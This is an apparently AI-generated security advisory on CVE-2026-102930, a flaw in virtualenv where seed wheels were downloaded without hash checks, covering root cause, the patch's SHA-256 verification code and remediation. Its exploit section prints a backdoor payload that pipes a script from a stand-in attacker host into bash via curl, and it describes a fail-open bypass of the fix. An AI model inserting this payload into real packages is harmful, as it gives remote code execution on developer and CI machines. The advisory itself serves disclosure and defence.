CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-102930

CVE-2026-102930: Remote Code Execution via Unverified Dynamic Wheel Downloads in virtualenv

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 1, 2026·4 min read·40 visits

Executive Summary (TL;DR)

Prior to 21.7.12, virtualenv dynamically downloaded core python wheels without verifying their hashes, allowing network interceptors to inject backdoored code into newly created virtual environments.

CVE-2026-102930 is a high-severity supply chain vulnerability in virtualenv prior to version 21.7.12. The download_wheel() function lacks integrity checks when dynamically fetching seed packages (such as pip or setuptools) over the network. This allows an attacker to intercept the network stream, replace packages with backdoored components, and achieve arbitrary code execution inside newly spawned virtual environments.

Vulnerability Overview

The Python library virtualenv is widely used to build isolated environments. To accomplish isolation, the library installs essential seed packages (including pip, setuptools, and wheel) during environment creation.

By default, virtualenv utilizes internal pre-packaged wheels or retrieves updated wheels over the network. When running with the --download option, or during automatic background update cycles, the system retrieves files using a subprocess execution of pip download.

Prior to version 21.7.12, the download_wheel() function did not verify the cryptographic integrity of these retrieved packages. This exposes an attack vector to Machine-in-the-Middle (MitM) interceptors, compromised package mirrors, or DNS manipulation.

Root Cause Analysis

The root cause of this flaw is classified as CWE-494: Download of Code Without Integrity Check. The execution logic relies entirely on the underlying transport layer and index configuration of pip to ensure package authenticity.

When download_wheel() completes, the received .whl files are stored directly inside the application-data cache (typically located at ~/.local/share/virtualenv/wheel/). Because there was no validation against an authoritative SHA-256 digest, the system immediately accepted any file delivered by the host.

This behavior is highly exploitable. Once a compromised package is written to the cache, it is unpacked and executed on subsequent invocations of virtualenv. This results in silent execution of code within the victim's developmental, CI/CD, or production environment.

Code Analysis and Patch Walkthrough

The vulnerability was fixed in version 21.7.12 by introducing strict hash verification against PyPI's JSON API metadata. The patch defines _uses_default_index to determine if a custom index is declared in environment variables:

_CUSTOM_INDEX_ENV_VARS: Final[tuple[str, ...]] = ("PIP_INDEX_URL", "PIP_EXTRA_INDEX_URL", "PIP_INDEX")
 
def _uses_default_index(env: dict[str, str]) -> bool:
    return not any(env.get(var) for var in _CUSTOM_INDEX_ENV_VARS)

If the default index is active, the download process invokes verify_wheel_digest(). This helper compares the file's SHA-256 digest to the authoritative metadata retrieved from PyPI:

def verify_wheel_digest(wheel: Wheel) -> None:
    entry = _pypi_release_entry_for_wheel(wheel)
    if entry is None:
        LOGGER.debug("could not verify %s against PyPI: no matching release record", wheel.name)
        return
    digests = entry.get("digests")
    expected = digests.get("sha256") if isinstance(digests, dict) else None
    if not isinstance(expected, str):
        return
    actual = hashlib.sha256(wheel.path.read_bytes()).hexdigest()
    if actual != expected:
        msg = f"downloaded wheel {wheel.name} has sha256 {actual}, but PyPI reports {expected}"
        raise RuntimeError(msg)

Any mismatch triggers a fatal error, halting environment creation and preventing the installation of the corrupt dependency.

Exploit Methodology

To exploit this flaw, an attacker must capture or proxy the victim's connections to PyPI or trick the client into using an untrusted local mirror. The attacker constructs a modified seed archive (e.g., setuptools-75.1.0-py3-none-any.whl) containing a malicious module payload inside setuptools/__init__.py:

# Injected payload
import subprocess
subprocess.Popen(["/bin/bash", "-c", "curl -s http://attacker.local/shell.sh | bash"])

When the victim invokes virtualenv --download venv_name, the download logic fetches the modified package. Because no integrity verification is performed, the archive is written directly to the cache. The payload executes silently when the virtual environment is built or whenever the target module is imported.

Impact Assessment

Successful exploitation leads to absolute compromise of the executing environment. Because virtualenv is widely used within automated build systems, code-analysis setups, and CI/CD networks, this vulnerability acts as an entry point for supply chain manipulation.

The payload inherits the permissions of the calling user. In multi-tenant infrastructure, this can facilitate privilege escalation or unauthorized read access to database secrets and credentials. Compromising the integrity of local python dependencies may allow attackers to inject secondary backdoors directly into application deployment pipelines.

Remediation and Limitations

The primary recommendation is upgrading virtualenv to version 21.7.12 or later immediately. Users should restrict access to dynamic internet package downloads where possible.

Several design limitations in the patch should be recognized. The verification logic fails-open if PyPI's API is completely offline. An attacker who selectively blocks connection requests to PyPI's JSON API while permitting raw TCP package downloads can trigger a fall-back scenario, bypassing the validation altogether.

Furthermore, the patch does not inspect system-level pip.conf configuration files. If an alternative repository is configured globally, the verification system may still check the local packages against official PyPI records. This mismatch will fail the installation, causing a persistent local Denial of Service (DoS).

Official Patches

pypaPR introducing dynamic hash verification checks for dynamically downloaded seed wheels.
pypaOfficial virtualenv 21.7.12 release notes.

Fix Analysis (1)

Technical Appendix

CVSS Score
7.7/ 10
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Affected Systems

virtualenv

Affected Versions Detail

Product
Affected Versions
Fixed Version
virtualenv
pypa
< 21.7.1221.7.12
AttributeDetail
CWE IDCWE-494
Attack VectorNetwork
CVSS v4.0 Score7.7
EPSS ScoreNone
ImpactArbitrary Code Execution
Exploit StatusPoC-level
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1195Supply Chain Compromise
Initial Access
T1195.001Supply Chain Compromise: Compromise Software Dependencies and Development Tools
Initial Access
T1195.002Supply Chain Compromise: Compromise Software Distribution
Initial Access
CWE-494
Download of Code Without Integrity Check

The application downloads source code or an executable from an external site, but does not verify the code's integrity.

Vulnerability Timeline

Vulnerability patch created and pushed by maintainer Bernát Gábor.
2026-09-17
Official release of virtualenv 21.7.12.
2026-09-18
GitHub Advisory published and CVE allocated.
2026-09-29

References & Sources

  • [1]GitHub Security Advisory: Unverified seed wheel dynamic downloads
  • [2]NVD - CVE-2026-102930 Detail

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•30 minutes ago•GHSA-GPWC-27CW-RH9R
5.3

CVE-2026-126301: Quadratic CPU Exhaustion in NLTK LegalitySyllableTokenizer

The Natural Language Toolkit (NLTK) versions 3.6 through 3.10.3 contain an algorithmic complexity vulnerability in the LegalitySyllableTokenizer.tokenize method. When processing tokens composed of continuous runs of vowels, an unguarded string reversal and set membership lookup loop executes in quadratic time relative to the input token length. Remote attackers capable of submitting arbitrary text to applications utilizing this tokenizer can trigger sustained single-core CPU exhaustion and application-level denial of service.

Amit Schendel
Amit Schendel
1 views•10 min read
•about 2 hours ago•CVE-2026-126304
8.7

CVE-2026-126304: Symlink Path Traversal in NLTK YCOECorpusReader

CVE-2026-126304 is a symlink path traversal vulnerability (CWE-59) in the Natural Language Toolkit (NLTK) versions 3.10.0 prior to 3.10.4. The YCOECorpusReader class constructs internal sub-readers for the 'psd' and 'pos' subdirectories using FileSystemPathPointer.join(), which relies exclusively on lexical string-prefix validation rather than canonical path resolution. An attacker who supplies a crafted YCOE corpus containing symbolic links in place of the 'psd' or 'pos' subdirectories can bypass directory confinement and read arbitrary files from sibling corpora or sensitive directories within the NLTK data sandbox.

Amit Schendel
Amit Schendel
3 views•9 min read
•about 2 hours ago•CVE-2026-128077
6.5

CVE-2026-128077: Authorization Bypass via Request Path Desynchronization in Nuxt and @nuxt/nitro-server

CVE-2026-128077 (GHSA-r99w-jh2x-3mg9) is an authorization bypass and interpretation conflict vulnerability affecting Nuxt and its underlying @nuxt/nitro-server package in versions 4.6.0 through 4.6.3. When an incoming HTTP request path begins with a double forward slash (e.g., //x/admin), the WHATWG URL parser within the Nuxt server-side page renderer interprets the initial segment as a network host/authority and resolves the remaining path (/admin) against the application's page router. Because Nitro server middleware, route-scoped serverHandlers, and Nitro routeRules evaluate the unparsed request path (//x/admin), path-based access controls, redirects, and security header policies configured for /admin fail to match and are bypassed.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 3 hours ago•CVE-2026-128084
4.8

CVE-2026-128084: Integer Truncation and SQL Query Truncation in sqlite3-ruby

Prior to version 2.10.2, the sqlite3-ruby gem explicitly cast 64-bit Ruby string lengths (long) to 32-bit signed integers (int) when invoking the underlying SQLite C API. On 64-bit platforms, providing a string of 4 GiB (2^32 bytes) or larger causes integer truncation, instructing SQLite to process only a prefix of the string. This flaw affects SQL query preparation, bound parameter values, and return values from custom Ruby-defined SQL functions and aggregates, allowing trailing SQL clauses such as WHERE restrictions to be silently dropped under specific conditions.

Alon Barad
Alon Barad
5 views•11 min read
•about 4 hours ago•CVE-2026-128068
5.3

CVE-2026-128068: Regular Expression Denial of Service in rails-html-sanitizer

CVE-2026-128068 (GHSA-cpgf-5mjf-73p7) is a Regular Expression Denial of Service (ReDoS) vulnerability in the rails-html-sanitizer Ruby gem affecting versions 1.0.3 through 1.7.1. The flaw resides in the Rails::HTML::PermitScrubber#scrub_attribute method, which uses the multiline regular expression /^\s*[^#\s].*/m to enforce local-only URI fragment references on SVG elements. On Ruby runtimes prior to version 3.2 (CRuby <= 3.1 and JRuby), evaluating an attribute value composed of repeated newline and whitespace characters without a hash character triggers quadratic backtracking O(n^2). Applications are only vulnerable if their sanitization allowlist is explicitly configured to permit SVG reference elements such as <use> alongside href or xlink:href attributes.

Alon Barad
Alon Barad
6 views•9 min read
•about 5 hours ago•CVE-2026-126360
5.3

CVE-2026-126360: Regular Expression Denial of Service in OpenTelemetry Python opentelemetry-api

CVE-2026-126360 (GHSA-mf5v-w3w3-f6cg) is an algorithmic complexity vulnerability (Regular Expression Denial of Service) in the trace context propagation logic of the opentelemetry-api package within the OpenTelemetry Python ecosystem. In versions prior to 1.45.2, the TraceContextTextMapPropagator.extract() method utilizes a regular expression susceptible to quadratic-time backtracking when parsing malformed W3C traceparent headers containing long sequences of whitespace followed by an embedded newline character. In Python applications—particularly those using single-threaded asynchronous event loops—an unauthenticated remote attacker transmitting payloads over newline-preserving carriers can monopolize CPU execution and induce application-level Denial of Service.

Alon Barad
Alon Barad
5 views•10 min read